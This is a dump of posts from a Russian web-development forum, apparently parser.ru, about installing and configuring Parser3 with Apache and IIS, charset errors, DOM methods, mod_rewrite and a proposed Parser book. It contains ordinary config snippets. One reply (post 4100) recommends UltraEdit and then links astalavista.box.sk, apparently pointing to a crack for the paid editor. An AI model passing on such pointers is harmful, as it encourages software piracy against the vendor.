Во-вторых, если ты находишься в [b]/pub/home/icy/ftp/xx/zz/[/b], то откуда будет браться /counter.txt? Если там же, то у тебя www-root в /pub/home/icy/ftp/xx/. Если нет, см. п.1.\
\
Вот еще: проверь наличие тега <base href='что-то/xx/'> в <header>. Мне он однажды сильно кровь попортил во время переноса сайта."
"4002","а вот если мне надо в таблицу добавить в некоторые  столбцы [b]высчитываемые[/b] значения, т.е. часть столбцов таблицы из прайс, другую сам заполняю то как тогда?.. использовать match?..\
хотелось бы иметь где-то такую конструкцию:\
[code]\
 while (file..) {\
 chomp..\
 split(/;/)..\
 }\
[/code]\
"
"4004","esli moy site na holm.ru - ya ne smogu ispozovat parser?! Nado je nastraivat .conf file'i apache servera! Vot eto jopa!\
OBIDNO...Daaa!\
a ya uje nachinal uchit parser ---...:("
"4005","Если ты используешь httpd.conf, то [b]без[/b] SetEnv:\
[code]\
# --- httpd.conf ---\
# без SetEnv\
    HTTP_PARSER_ROOT_CONFIG d:/web/parser3.root.conf\
    HTTP_PARSER_SITE_CONFIG d:/web/parser3.site.conf\
#\
# с точки зрения методологии, взял бы другое\
# расширение для парсимых файлов\
# AddHandler parsed-html .phtml\
# Action parsed-html \"/cgi-bin/parser3.exe\"\
    AddHandler parsed-html .pml\
    Action parsed-html /cgi-bin/parser3.exe\
# --- /httpd.conf ---\
[/code]\
\
Если ты используешь .htaccess, то [b]с[/b] SetEnv:\
[code]\
# --- .htaccess ---\
    SetEnv HTTP_PARSER_ROOT_CONFIG \"d:/web/parser3.root.conf\"\
    SetEnv HTTP_PARSER_SITE_CONFIG \"d:/web/parser3.site.conf\"\
    AddHandler parsed-html .pml\
    Action parsed-html /cgi-bin/parser3.exe\
# --- /.htaccess ---\
[/code]\
\
Далее.\
Who is 'parser3.bat'? Ты хотел сказать parser3.phtml?\
Сделаем из него test.pml:\
[code]\
# --- test.pml ---\
^echo[bebebe]\
#\
@echo[string]\
    ^switch[$string]{\
        ^case[bebebe]{<p>Hello, world</p>}\
        ^case[DEFAULT]{<p>Hello, <b>dUmbASs</b></p>}\
    }\
# --- /test.pml ---\
[/code]\
\
\
И вот еще.\
Проверь в httpd.conf (если ты под Win32):\
[code]\
# --- httpd.conf ---\
# MaxRequestsPerChild: the number of requests each child process is\
# allowed to process before the child dies.  The child will exit so\
# as to avoid problems after prolonged use when Apache (and maybe the\
# libraries it uses) leak memory or other resources.  On most systems, this\
# isn't really needed, but a few (such as Solaris) do have notable leaks\
# in the libraries.  For Win32, set this value to zero (unlimited)\
# unless advised otherwise.\
#\
# NOTE: This value does not include keepalive requests after the initial\
#       request per connection. For example, if a child process handles\
#       an initial request and 10 subsequent \"keptalive\" requests, it\
#       would only count as 1 request towards this limit.\
#\
MaxRequestsPerChild 0\
# --- /httpd.conf ---\
[/code]\
"
"4006","Не обязательно настраивать именно httpd.conf. Можно положить в каталог, где у тебя www-root, файл .htaccess, где определить все, что нужно.\
\
НО. Для этого нужно, чтобы ты мог использовать CGI, и чтобы ты мог менять настройки своего виртуального сервера с помощью файлов .htaccess. К сожалению, не все бесплатные хостинги предоставляют такие услуги.\
\
Так что если у тебя именно такой бестолковый хостинг, то:\
• забудь про парсер, или\
• забудь про этот дурацкий хостинг ;) благо в сети достаточно бесплатных хостингов с нужным сервисом\
(например [url=\"http://www.parser.ru/forum/?id=2304\"]ValueHost.ru[/url]).\
\
Good luck."
"4008","Проблема в том, что апач совсем не запускает cgi-скрипты из /cgi-bin/, хотя на другом компьютере такой же скрипт запускается нормально. Что-то в настройках, но они абсолютно идентичны настройкам того самого \"другого\" сервера. Бред, короче. Я копаю дальше, и перехожу к переустановке апачи подчистую, но сомневаюсь, что это поможет. :-("
"4009","А вот через replace - никак :)\
"
"4010","Сходи на http://www.dklab.ru/chicken/web\
Мне понравилось\
\
Успехов."
"4011","Не, не помогло :-(\
\
Что-то не то со вторым апачем + win-xp-pro: на данной машине (win xp pro) с apache 1.3 работает при АБСОЛЮТНО тех же настройках. На другом сервере (win2000?) с apache 2.0.39 работает тоже при АБСОЛЮТНО тех же настройках. Не хочет только у меня, на XP с Apache 2.0.39. Уже замучался искать ошибку.\
\
22 - это код ошибки SOCEINVAL=(SOCBASEERR+22). И комментарий у нее \"Invalid argument\" - как и в логе. Но этот префикс (SOC) сводит меня с ума - ну не сокеты же здесь виноваты?! %-)\
\
Принимаются любые мыслимые и немыслимые идеи о причинах таких косяков, а также ссылки на качественные форумы по Apache (в поисковиках таких не нашел - плохо искал, наверное)."
"4012","Даю две ссылки\
вроде как раз про это и написано\
\
первая http://www.apache.org/dist/httpd/binaries/win32/\
там указания для пользователей ХР\
\
вторая на Мелкосовт службу поддержки\
http://support.microsoft.com/default.aspx?scid=kb;EN-US;q317949\
\
Может это поможет"
"4013","Там про потерю данных на сокетах.\
\
У меня же просто не запускается cgi-скрипт. Любой. Даже bat, exe, cmd. Я пытаюсь найти подобное в форумах по apache, но ничего не находится. Подумываю о возврате на apache 1.3. В нем-то все работает без проблем."
"4014","Вот в Парсере3 есть такие операторы:\
[code]\
-f имя_файла - проверка существования файла на диске.\
-d имя_каталога - проверка существования каталога на диске.\
[/code]\
\
Таким образом можно определить, не является ли каталогом некий файл.\
А в Парсере2 есть функция для отлавливания каталогов?"
"4016","Как я понял, ты запускаешь апач (надеюсь, не очень древний) на машине winXP.\
\
Проверь парсер. Запусти DOS, заберись в папку с парсером и запусти его из командной строки. [i]Наш[/i] парсер должен выдать примерно следующее:\
[code]\
Parser/3.0b Copyright(c) 2001, 2002 ArtLebedev Group (http://www.artlebedev.com)\
 \
Author: Alexandr Petrosian <paf@design.ru> (http://paf.design.ru)\
 \
Usage: parser3 <file>\
[/code]\
\
Установленный по-умолчанию апач практически не требует настройки, но все-таки:\
убедись в работоспособности самого апача. Обратись в броузере по адресу, указанному в директиве [b]ServerName[/b]. По умолчанию там стоит [url=\"http://localhost\"]localhost[/url] или [url=\"http://127.0.0.1\"]127.0.0.1[/url]. Если попал на характерную страницу, все ок.\
Если нет — нужно настраивать (тут тебе лучше обратиться к разным источникам, описывающим процедуру установки/настройки апача, коих немало в интернете). Но, еще раз повторюсь, свежеустановленный апач должен сразу заработать.\
\
Кстати, апач и парсер могут спотыкать разные firewall'ы типа ZoneAlarm. Тогда нужно в настройках firewall'a определить апач и парсер в trusted-группу.\
\
Теперь залезь в файл [b]httpd.conf[/b]. Его хорошо просматривать редактором с подсветкой синтаксиса perl, например [url=\"http://www.ultraedit.com\"]UltraEdit[/url].\
Смотри, чтобы в начале нужных строк не было символа [b]#[/b] — это комментарий.\
\
Проверь следующее (путь в кавычках может быть другой, но он должен вести туда, где у тебя физически лежат скрипты, и это полный путь от корня диска):\
[code]\
  <Directory \"d:/web/www\">\
    Options All MultiViews\
    AllowOverride None\
    Order allow,deny\
    Allow from all\
  </Directory>\
…\
AddModule mod_mime.c\
AddModule mod_alias.c\
…\
<IfModule mod_alias.c>\
…\
  ScriptAlias /cgi-bin/ \"d:/web/cgi-bin/\"\
…\
  <Directory \"d:/web/cgi-bin/\">\
    AllowOverride None\
    Options None\
    Order allow,deny\
    Allow from all\
  </Directory>\
…\
</IfModule>\
[/code]\
\
[code]\
<IfModule mod_mime.c>\
…\
  AddHandler cgi-script .cgi\
  AddHandler cgi-script .pl\
  AddHandler cgi-script .exe\
…\
</IfModule>\
[/code]\
\
Если все нормально, и все равно не работает, проверь еще раз. Если снова не работает, пришли мне свой httpd.conf и .htaccess, если ты его используешь."
"4022","Жаль. Пришлось признак каталожности в имени закладывать -- все каталоги в фотоальбоме начинаются на некое одно и тоже слово (не из трех букв :-) )."
"4023","Подскажите, где найти файл parser3odbc.dll для win32."
"4024","Угадай. В разделе [url=\"http://www.parser.ru/f/1/download/win32/parser3sql_1_0_0001_win32_odbc.zip\"]«скачать»[/url], разумеется."
"4027","Тяну каталог товаров из БД в ХЕШ.\
Есть ли способы вывести данные из ХЕШа в требуемом порядке. Например, в алфавитном?"
"4028","А эти редакторы для верстки хтмл надо как-то настроить соответственно? M. Homesite например..."
"4029","Здравствуйте.\
Скажите, пожалуйста, можно ли на Parser'е писать скрипты (гостевые, форумы и т.п.)?\
Также не могли бы Вы мне сказать, за сколько примерно можно выучить Parser (достаточно хорошо) по Вашей документации на сайте (я уже её скачал)?\
Заранее спасибо за ответы. Досвидания."
"4030","Напиать форум можно, готеую соотеттенно тоже.\
А за сколько его можно освоить, это зависит от способностей. В общих чертах чтоб начать писать самому можно за неделю."
"4031","вроде нет, хотя я не уверен\
\
можно конвертнуть хэш в таблицу, а таблицу уже сортировать как нужно"
"4033","В смысле, если прочитать весь мануал, так сказать и денька так 3-4 попрактикавацца, то можно уже писать? :) Класс. А с какого года существует данный язык?"
"4034","У меня стоит ISS под Win2000 на собственном серваке.\
Была проблема с кодировками. Решал я её целых 2 дня, но всё же решил ;)\
\
В каталог C:\\WinNT не нужно ничего выкладывать кроме главного конфигурационного файла!!! В этом файле (parser3.conf) нужно только изменить путь к каталогу, в котором лежит файл parser3.exe со всем остальным полезным барахлом (драйверы odbc, таблицы перекодировок и т.п.), например таким образом:\
$charsetsdir[w:\\parser_3\\etc\\parser3.charsets]\
$sqldriversdir[w:\\parser_3\\lib]\
\
Далее в каталог рядом с parser3.exe (w:\\parser_3) выкладываем \"Конфигурационный файл конкретного сайта\" примерно следующего содержания:\
@auto[]\
#source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
#$SQL.connect-string[mysql://user:pass@host/db]\
\
Всё должно работать (у меня работает отлично)! Вам остаётся толко трести админа, чтобы выложил главный конфигурационный файл (и неболее) в папку WinNT, и прописал в этом файле пути к папке, где лежит parser3.exe\
\
Всё бы нормально, только у меня есть один вопрос (кто знает - подскажите ответ):\
Я чего-то не пойму почему \"Конфигурационный файл конкретного сайта\",  так называется. По идее раз он \"Конфигурационный файл конкретного сайта\", то должен находиться в каталоге, являющемся корнем сайта (например в w:\\web\\site1), и следуя той же логике, место \"Главного конфигурационного файла\" должно быть в каталоге w:\\parser_3.\
Проблема в том, что если у меня на сервере должно быть несколько сайтов, расположенных соответственно в папках:\
w:\\web\\site1\
w:\\web\\site2\
w:\\web\\site3\
и конфигурации каждого из них, описываемые в \"Конфигурационных файла конкретного сайта\" должны отличаться, так что, мне надо устанавливать для 3-х сайтов 3 штуки parser3.exe вместе с parser3.conf в разные каталоги??? Разные exe-шники будут обрабатывать разные сайты, так что ли получается? Лучшего варианта, чем этот, при которым бы всё нормально работало, я пока не придумал. Хотя обычно в этом конфигурационном файле задаются только параметры перекодировок (они в 99% случаев будут одни и те же для разных сайтов на сервере), то с этим можно и смериться. Но всё равно получается как-то нелогично. Если я не прав объясните в чём моё заблуждение.\
"
"4036","Только перебором. Лучше сазу селектить в таблицу.\
А хэш сортировать действительно нельзя и результат совсем непредсказуем..."
"4037","Есть ли возможность вписать в свой класс код, который выполнится в конце работы парсера?\
[code]\
$my[^myclass::new[]]\
^my.print_header[]\
#Это можно перенести в @auto класса myclass\
...\
^my.print_footer[]\
#А это куда?\
[/code]"
"4038","^хеш._keys[]    \
\
Метод возвращает таблицу (объект класса table), содержащую единственный столбец key, где перечислены все ключи хеша (порядок перечисления не гарантируется). "
"4039","Поставил Парсер на RedHat 7.2. Какое-то время была ошибка о том, что, мол, не совпадает группа у создателей публикуемых файлов и указанная в httpd.conf. Это поправил, а потом вот такое:\
\
./parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime\
\
Не могу понять в чём дело.\
Парсер настроил не через .htaccess, а напрямую в httpd.conf."
"4040","Похоже, дело было в том, что реальный каталог, прописанный в httpd.conf для конфига Парсера, не существовал. Поправил, появилось вот это:\
\
read failed: Not a directory (20), actual filename '/usr/local/apache/parser/parser3.conf/../parser3.charsets/windows-1251.cfg'\
/usr/local/apache/parser/parser3.conf/../parser3.charsets/windows-1251.cfg\
\
environment(1)\
\
Очень странно.\
Под винды всё работает очень гладко, а тут — такое >E-[]\
"
"4041","Уважаемые авторитетные сотрудники обитающие в форуме, и просто знающие такое дело:\
Очень хочеться сделать корпоративный сайт на третьем парсере и привинтить мощное средство управления контентом к нему. С первым то особых сложностей нет. А вот со вторым! Насколько я знаю у Вас есть Имприматур. Продаеться ли он вообще? Насколько легко Имприматур адаптируется к конкретному сайту. Или сайт адаптируеться под имприматур? На чем имприматур сделан?\
Если нет то какие посоветуете альтернативные средства?"
"4042","На новых проектах и перейду. Тут это уже обсуждалось: если сайт сделан на П2, то незачем его переделывать под П3.\
\
Хотя можно перейти на П3 в рамках одного каталога на сайте (с помощью .htaccess). Собственно так я и сделал, для проверки работы П3 и его изучения."
"4043","Именно так я и поступил: вернулся на 1.3.26."
"4044","Понимаю, можно и к хэшу обращаться, но если хочешь посортировать хэш по комбинации \"ключ-значение\" или \"значение1_значения-значение2_значения\" (для hash of hash) - ничего не выйдет... Лучше пользоваться таблицами ;-)"
"4045","А лучше держи в классе только работу с данными, а все отображение отложи на методы класса MAIN или XSLT.\
\
Да и потом, а что мешает звать метод класса в тот момент, когда это нужно? (К слову, в @auto[] лучше не вставлять вывод)"
"4046","в данный момент \"приобрести\" Имприматур можно только став клиентом Студии (основываюсь на том, что он из себя представляет внутри)"
"4048","Перекачал я /win2k/ImageMagick-5.4.7-4.zip . А где там этот самый консольный? ;-) Где бинарники можно найти? "
"4049","Пробывал поставить parser под Windows ME.\
После открытия страницы пишет - /home/user/alex/parser3.conf(3): 'windows-1251' unknown charset  type: parser.runtime\
ВСе сделал как написано.\
В ЧЕМ ПРОБЛЕМА?"
"4050",":))\
\
\"приобрести Имприматур можно только став клиентом Студии\"\
~\
купить у нас что-то можно если вы станете нашим покупателем"
"4051","http://www.parser.ru/faq/"
"4053","ftp://ftp.nluug.nl/pub/ImageMagick/binaries/ImageMagick-win2k.zip"
"4054","[code]\
@cutBR[BRed][t]\
$t[$BRed]\
$t[^t.match[<br>][g]{\
}]\
<pre>\
$t\
</pre>\
[/code]\
"
"4059","[quote]Parser появился на свет в 1997 году в Студии Артемия Лебедева (www.design.ru).[/quote]\
Цитата из него родимого..."
"4060","Вот...\
[code]\
^if($file eq \"about.html\"){\
	$response:location[${root}about.p3]\
	QQ!\
}\
[/code]\
QQ! - появляется, а перенаправления не происходит :( Ведь всё правильно, вроде? Или нет? ${root}about.p3 - даёт правильный путь, проверял..."
"4062","Да, я это уже читал. Интересно, в Америке или где-нибудь за границей знают этот язык?\
И все ли хостинги его поддреживают?"
"4064","[code]\
@navigation[]\
\
^dbconnect{$cat[^table::sql{SELECT id,pid,title,uri FROM menu}]}\
\
^cat.menu{\
    \
    ^if($cat.id ne $pid && $cat.pid ne 0){\
    }{\
      ^if($cat.pid ne 0 && ^cat.offset[cur](-1) $cat.pid eq 0){<ul>}{}\
      \
      ^cat.offset[cur](1)\
      <li>^if($cat.id eq $id && $cat.pid eq $pid){\
          <b>$cat.title</b>\
          }{\
          <A HREF=\"$cat.uri\">$cat.title</A>\
      }</li>\
\
      ^if($cat.pid ne 0 && ^cat.offset[cur](1) $cat.pid eq 0){\
      </ul>\
      }{}\
      ^cat.offset[cur](-1)\
    }\
}\
[/code]"
"4071","тебе надо ответить на 2 вопроса:\
\
1. Есть ли у тебя в тарифном плане возможность запуска собственных CGI скриптов\
\
2. Есть ли доступ к конфигурации сервера Apache через .htaccess\
\
"
"4072","Да, я тоже самое заметил, но тактично промолчал.\
Юзай второй вариант:\
[code]\
$response:refresh[ \
   $.value[0] \
   $.url[/] \
] \
[/code]"
"4073","Некоторые методы DOM на данный момент плохо документированы.\
Значит ли это, что они не реализованы. В чатсности каким образом вызывается removeChild и почему не работает следующий код:\
# входной xdoc документ \
$sourceDoc[^xdoc::load[article.xml]] \
^sourceDoc.documentElement.childNodes.6.removeChild[sourceDoc.documentElement.childNodes.6.childNodes.2]"
"4074","Ставим на странице\
[code]\
<a name=\"photo\"></a>\
[/code]\
\
и ниже \
\
[code]\
<a href=\"./#photo?shop_id=$local_shop_id&image_id=$next_image_id\">След. фото</a>\
[/code]\
\
которое строит ссылку вида\
[code]\
./#photo?shop_id=7&image_id=1\
[/code]\
\
Однако строка запроса после ? не обрабатывается.\
С чего бы это?\
\
Заранее спасибо."
"4075","Возможно, моя идея покажется бредовой, но придя \"с улицы\" на ваш сайт и почитав описание, уроки и т.д. сделал для себя вывод, что не все так страшно, а наоборот, все понятно и поступательно разобраться можно очень быстро.\
Способ изложения - прост и понятен, чего иногда нет в весьма \"авторитетных\" книгах.\
Почему бы таким путем не написать целую книгу по Парсеру - тем самым вы сделаете огромный шаг в популяризации этого инструмента, облегчите жизнь всем тем, кто начинает только заниматься скриптованием сайтов. Издали бы ее в том же \"Символе\", который издает замечательные и полезные издания. По идее, книга-то уже есть (полное описание), надо побольше практических уроков - и народ вознесет вашего попугая :) в идолы, причем практические. Задатки-то для этого все имеются.\
\
С уважением,\
Алексей"
"4076","Лучше бы было просто сварганить инсталлятор, устанавливающий \"в два клика\" сам p, конфиг-файлы, dllки и, главное, разворачивающий локальный демо-сайт на парсере, чтобы новичок мог бы посмотреть, как оно устроено. Без такого готового примера - с навигацией, примером гестбука, форума, образцами работы классов и т.п. - отсеивается много потенциальных новичков. Это лучше, чем отдельная книга."
"4077","http://www.parser.ru/forum/?id=3210"
"4078","... и приложить его на сидюке к книге! :)))"
"4079","Все работает, а у тебя 2 ошибки:\
1.  вместо [sourceDoc.documentElement.childNodes.6.childNodes.2]\
дожно быть [$sourceDoc.documentElement.childNodes.6.childNodes.2]\
\
2. метод removeChild вызвращает данные типа xnode, следовательно надо писать\
$removedNode[^sourceDoc..........]\
\
Да и вообще, раз есть XPath, правильней, на мой взгляд, было бы получать ноды через select (XPath), а уже у них вызавать методы - все ж надежнее, чем отлавливать ноду по ее порядковому номеру."
"4081","Мне кажется это хорошая идея. Вопрос, правда, такой -- если Студия открыла Парсер \"чтобы людям было хорошо\" (ну, это понятно) и чтобы удаленно взрастить своих потенциальных сотрудников-кодеров/скриптеров, то надо ли ей столько новых сотрудников?"
"4082","В cgi-bin, там, где сам скрипт (кстати, с поддержкой xml), лежит один parser3.conf:\
[code]\
@auto[]\
source/client charsets\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
#$SQL.connect-string[mysql://user:pass@host/db]\
#$SQL.connect-string[odbc://DSN=datasource^;UID=user^;PWD=password]\
[/code]\
\
Так же в /usr/local/apache/parser/ лежит другой, как я понимаю, основной parser3.conf:\
[code]\
\
\
@auto[]\
^if(def $env:HTTP_PARSER_ROOT_CONFIG){\
    $configdir[$env:HTTP_PARSER_ROOT_CONFIG/..]\
	$charsetsdir[$configdir/parser3.charsets]\
	$sqldriversdir[$configdir/lib]\
}{\
	$charsetsdir[/usr/local/etc/parser3.charsets]\
	$sqldriversdir[/usr/local/lib]\
}\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
#change your client libraries paths to \
those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
]\
\
#for ^file:load[name;user-name] mime-type autodetection\
$MIME-TYPES[^table::set{ext	mime-type\
zip	application/zip\
doc	application/msword\
xls	application/vnd.ms-excel\
pdf	application/pdf\
ppt	application/powerpoint\
rtf	application/rtf\
gif	image/gif\
jpg	image/jpeg\
png	image/png\
tif	image/tiff\
html	text/html\
htm	text/html\
txt	text/plain\
mts	application/metastream\
mid	audio/midi\
midi	audio/midi\
mp3	audio/mpeg\
ram	audio/x-pn-realaudio\
rpm	audio/x-pn-realaudio-plugin\
ra	audio/x-realaudio\
wav	audio/x-wav\
au	audio/basic\
mpg	video/mpeg\
avi	video/x-msvideo\
mov	video/quicktime\
swf	application/x-shockwave-flash\
}]\
\
$LIMITS[\
	$.post_max_size(10*0x400*0x400)\
]	\
\
#$MAIL[\
#	$.sendmail[your sendmail command goes here]\
#	these are tried when no 'sendmail' specified:\
#	    /usr/sbin/sendmail -t\
#	    /usr/lib/sendmail -t\
#]\
\
@unhandled_exception[exception;stack]\
$response:content-type[\
        $.value[text/html]\
        $.charset[$response:charset]\
]\
\
<title>UNHANDLED EXCEPTION (root)</title>\
<body bgcolor=white>\
<font color=black>\
<pre>^untaint[html]{$exception.comment}</pre>\
^if(def $exception.source){\
<b>$exception.source</b><br>\
<pre>^untaint[html]{$exception.file^($exception.lineno^)}</pre>\
}\
^if(def $exception.type){exception.type=$exception.type}\
^if($stack){\
	<hr>\
	^stack.menu{\
		<tt>$stack.name</tt> $stack.file^($stack.lineno^)<br>\
	}\
}[/code]"
"4084","А не считаете ли вы недостатком Parser'а необходимость записывать куда-то совершенно ненужные данные? Вот, например, в JavaScript подобная конструкция работает ;)"
"4086","если они (данные) не нужны одному, не факт, что не нужны никому.\
\
я очень рад за JavaScript, но не считаю удобными такие конструкции, ибо встречаюся тэги и на 10ом \"уровне вложенности\", а писать 10 раз childNodes.x1.childNodes.x2.childNodes.x3....childNodes.x10 - совсем не улыбается - а XPath в совокупности с xnode делают это \"в полтычка\"...\
\
кстати, как пример, когда нужны эти данные, можно привести например \"вытягивание\" детей из удаляемой ноды и вставление их в другое место документа. пример, конечно, \"кривоватый\", но имеет право на существование."
"4088","Вы меня не поняли. Я говорил о том, что в JavaScript'е можно выполнить removeChild(), никуда не сохраняя возвращаемый методом нод. В Parser'е же, как следует из Вашего первого постинга, требуется указание бесполезной временной переменной, куда будет записан возвращённый нод, иначе Парсер выдаёт что-то вроде:\
D:/shttps/parser/article.html(4): 'removeChild' contains illegal assignment attempt of xnode to MAIN class, use constructor  type: parser.runtime\
\
Так вот, не считаете ли Вы это недостатком Парсера?\
"
"4089","Можете считать это недостатком DOM Level 1\
\
Открываем [url=http://www.w3.org/TR/1998/REC-DOM-Level-1-19981001/level-one-core.html#method-removeChild]документацию[/url], и читаем:\
\
[b]removeChild[/b]\
Removes the child node indicated by oldChild from the list of children, and [b]returns it[/b]. \
[b]Parameters[/b]\
oldChild - The node being removed.\
[b]Return Value[/b]\
[i]The node removed.[/i]\
\
Итого: RTFM."
"4090","Я считаю недостатком JavaScript пренебрежение стандартами."
"4091","Что там написано - фигня...\
Я просто parser3.conf удалил и все заработало.\
А почему - вот это другой вопрос...\
ТАК ПОЧЕМУ???"
"4092","Есть и то и др."
"4094","Сорри, если офтопик, т.к. это больше похоже на проблему веб-сервера, но все же.\
Вот такой проблема:\
нужно создать на сервере (Apache) иллюзию существования html-файлов, которыйх на самом деле нет. Т.е. пользователь запрашивает документ:\
http://localhost/my/favorite/document.html,\
и его запрос трансформируется в \
http://localhost/doc.cgi?dir=my/favorite& doc=document.html.\
\
Можно ли это сделать? Как я понимаю парсер тут не может (?).\
\
Антиофтопик:\
как осуществлять корректные преобразования '\\n' <-> '<br>'?"
"4095","это связано с правами на файл."
"4096","Реализация DOM в JavaScript соответсвует стандартам.\
Совсем другое дело стандарты языка.\
JavaScript позволяет не присваивать никакой переменной результат ф-ии. То есть если тебя интересует возвращаемый параметр, сохраняешь его в переменную и работаешь с ней, если же результат ф-ии тебя не интересует, результат просто уходит в никуда, работа программы продолжается. Parser же в этом случае считает, что возвращённый параметр мы пытаемся присвоить классу $MAIN и выдаёт ошибку.\
Нельзя ли сделать так, чтоб возвращаемый ф-ией параметр можно было никуда не присвоить?"
"4097","Я вытаскиваю текст из mySQL, а он..... Подскажите плз."
"4098","[code]\
$x[^text.match[(\\n)][']]\
$n[^text.match[<br>][g]{$x.1}]\
<pre>\
$n\
</pre>\
[/code]"
"4099","Во-первых почисти конфиги. Выкини все, что не используется. SQL не пользуешь? Долой. Чарсеты лишние -- туда же.\
\
Во-вторых. Напрягись и разбери «по косточкам» как формируется путь к файлу чарсета -- сразу увидишь свою ошибку. Ты пишешь в HTTP_PARSER_ROOT_CONFIG строку '/usr/local/apache/parser/parser3.conf', а нужно '/usr/local/apache/parser'. По твоему конфигу в HTTP_PARSER_ROOT_CONFIG должен быть /путь, а не /путь/файл.\
\
Лучше выкини к чертям первый IF\
[code]\
^if(def $env:HTTP_PARSER_ROOT_CONFIG){…}{…}\
[/code]\
и поставь вместо него \
[code]\
$charsetsdir[/path/to/parser3/charsets]\
[/code]\
Этот IF планировался, скорее всего, «для защиты юзера от него самого», да только получилось как всегда. Вся беда в коряво написанной доке по установке."
"4100","Для парсера -- [url=\"http://www.ultraedit.com\"]UltraEdit[/url], потом [url=\"http://astalavista.box.sk\"]сюда[/url].\
\
Для perl -- [url=\"http://aperl.mastak.ru/\"]Mastak Absolute Perl[/url]."
"4101","http://www.parser.ru/docs/lang/optaintuntaint.htm"
"4102","Как раз очень много. На написание статьи (10-15 страниц) уходит пара недель минимум. А книгу... 10-12 месяцев клади. Вот посуди сам:\
\
Тема скользкая -- нужно хорошо разбираться в парсере.\
Консультировать тебя особо никто не будет -- у людей работы полно.\
А книгу мало написать -- ее еще надо набрать, сверстать, вычитать, отредактировать, опять вычитать...\
Нужно найти издателя или типографию и решить КУЧУ проблем там.\
А про бюджет я вообще молчу.\
Так ведь и издать мало -- нужно продать.\
\
Так что, имхо, лучше PDFами..."
"4103","Цифровые фотокамеры сохраняют разную информацию в файлах с фотографиями, например, когда была сделана фотография, и т.д. Можно ли эту информацию как-нибудь оттуда достать, используя парсер с дополнительным ПО? "
"4105","Для ликвидации иллюзий читай документацию по созданию \"мнимых документов\": http://localhost/manual/mod/mod_rewrite.html .\
\
А по поводу замены \\n -- читай taint|untaint или match."
"4107","при попытке задать charset командой $response:charset[windows-1251] в html'е или к конфиге сайта выдается ошибка 'Unknow charset'.\
\
FAQ по принадлежности к группам читал - конфигурационный файл у меня явно считывается, так как запросы к SQL работают (пути к файлам драйверов прописывал вручную).\
\
Каталог с charset'ами и файлы charset'ов имеют ту же группу, что и в конфиге apache.\
В конфиге уже указал расположение файлов charset явно, без $charsetsdir.\
\
Фрагмент из parser3.conf:\
$CHARSETS[\
    $.windows-1251[/var/httpd/forum/cgi-bin/parser3.charsets/windows-1251.cfg]\
]\
\
$response:charset[windows-1251]\
\
Ответ: ./parser3.conf(10): 'windows-1251' unknown charset  type: parser.runtime\
"
"4108","[i]А лучше держи в классе только работу с данными, а все отображение отложи на методы класса MAIN или XSLT.[/i]\
Это делается для админилки, а там отображение другое. Админилка одна на несколько сайтов, хочется ее вид в одном файле держать.\
[i]Да и потом, а что мешает звать метод класса в тот момент, когда это нужно? (К слову, в @auto[] лучше не вставлять вывод)[i]\
В @auto[] вывод у меня не выводил - я не разбирался, просто засунул его в конструктор класса. Хочется не писать в каждом файле в конце ^my.print_footer[], а сделать это один раз в описании класса.\
^posprocess[] только для класса MAIN ?"
"4110","Вылезает, блин.\
Указывает на тег <HTML>.\
\
[code]\
z:/home/air/www/auto.p(19)#C.O: | |\
[/code]"
"4111","Спасибо за ответ :)\
Man рулит, все заработало :))\
\
С <br> <-> \\n  прокатывает только один вариант, но главное что он работает:\
\
[code]\
$my_data[^mydata.match[\\n][g]{<br>}]\
...\
$my_data[^mydata.match[<br>][g]{\
}]\
...\
^taint[as-is][$my_data]\
[/code]"
"4112","А в пути должны быть именно абсолютные?\
Провайдер же мне не гарантирует постоянный абсолютный путь. Он может его менять в принципе..."
"4113","Нужно всего лишь перенаправить запросы, например, с /news/1522/ на /news/news_korp.html?korp=1522 с помощью mod_rewrite. Много всего перепробоавал - ничего не работает. Подскажите, плиз..."
"4114","Попробуй распечатать $CHARSETS.windows-1251 - если получишь /var/httpd/forum/cgi-bin/parser3.charsets/windows-1251.cfg - будем думать, если пустая строка - значит точно не подгрузился conf"
"4117","У меня таже проблема, CHARSETS выводится пустым, Однако путь четко указывает на conf файл.\
"
"4118","Класс MAIN строится с использованием ВСЕХ auto.p вверх по дереву сайта.\
Следовательно, в / лежит auto.p с методом @html[], который выводит все хидеры/футеры основных страниц, а в /admin/ - auto.p с методом @html[], который перекрывает (замещает) предыдущий (из корневого auto.p) и выводит хидеры/футеры самой админки.\
\
постпроцесс только для MAIN."
"4119","А большего сказать не могу за отсутствием какой-либо информации."
"4120","Короче. Проблема в ДНК...\
Переменные HTTP_PARSER_ROOT_CONFIG и HTTP_PARSER_SITE_CONFIG должны указывать на ФАЙЛЫ, хотя в .conf файле считается что они указывают на ПУТЬ! (это видимо последствия того что над разными частями программы работали разные программисты :))\
Вывод надо в .htaccess указать файлы, а в .conf удалить использование переменной HTTP_PARSER_ROOT_CONFIG и прописать путь явно."
"4121","Кто уже испробовал Parser в работе врятли перейдет на что-то другое, и для него будь описание хоть в html хоть в pdf роли не играет. А выпустив книгу, студия влоб столкнется с обычными ламерами, которые и думать то не хотят.\
Представьте в таком случае что станет с форумом, вы захотите задать действительно дельный вопрос, а вам на это выдадут кучу бестолковых ответов.\
Мне кажется - это не дело.\
Как мне кажется если уж и выпускать книгу, то тиражем скажем тысячи в 3-5. Во-первых она разойдется, и разойдется среди нас настоящих поклонников Parser, во-вторых ее можно будет продать за любые деньги, потому как лично я бы купил такую книгу и за 100$.\
\
Что же касаемо того, что Parser выпустили в свет специально для подготовки собственных кадров, в этом я не уверен. Действительно, врятли студии понадобится такое количество умных кодеров.\
\
